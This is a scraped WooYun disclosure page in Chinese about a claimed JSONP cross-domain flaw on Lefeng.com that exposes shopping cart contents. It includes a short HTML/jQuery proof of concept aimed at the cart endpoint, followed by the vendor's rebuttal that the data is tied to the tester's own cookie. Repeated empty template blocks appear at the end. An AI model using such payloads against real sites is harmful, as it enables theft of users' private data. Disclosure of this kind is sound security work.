乐蜂网接口验证不严跨域获取他人购物车商品信息 | wooyun-2015-0122948

漏洞概要关注数(24) 关注此漏洞

缺陷编号：

wooyun-2015-0122948

漏洞标题：

乐蜂网接口验证不严跨域获取他人购物车商品信息

漏洞详情

披露状态：

2015-06-26：细节已通知厂商并且等待厂商处理中
2015-06-26：厂商已经主动忽略漏洞，细节向公众公开

简要描述：

这下可以知道妹子习惯什么牌子的化妆品了..

详细说明：

POC：

<!DOCTYPE html>
<html>
<head>
<script src="https://code.jquery.com/jquery-1.9.1.min.js"></script>
  <meta charset="GBK">
  <title>POC</title>
</head>
<body>
<p>result:</p>
<script>
$.getJSON('http://shopping.lefeng.com/cart/loadItems.jsp?pid=0&callback=?',function(json){
document.body.appendChild(document.createElement('p')).innerHTML=json.newitems[0].productName;
;
})
</script>
</body>
</html>

漏洞证明：

修复方案：

版权声明：转载请注明来源 jeary@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-06-26 17:39

厂商回复：

购物车信息与Cookie绑定，因为您之前放过购物车，所以可以获取自己的购物车信息，从GET的URL也可以看到无任何与用户绑定的身份信息，请清除Cookie后再次尝试POC，如果我们理解有偏差或重现存在瑕疵，请再次提交或站内私信我们，感谢您对我们的支持。

WooYun.org

漏洞概要关注数(24) 关注此漏洞

漏洞详情

披露状态：

简要描述：

详细说明：

漏洞证明：

修复方案：

版权声明：转载请注明来源 jeary@乌云

漏洞回应

厂商回应：

厂商回复：

最新状态：

WooYun.org

漏洞概要 关注数(24) 关注此漏洞

漏洞详情

披露状态：

简要描述：

详细说明：

漏洞证明：

修复方案：

版权声明：转载请注明来源 jeary@乌云

漏洞回应

厂商回应：

厂商回复：

最新状态：

漏洞概要关注数(24) 关注此漏洞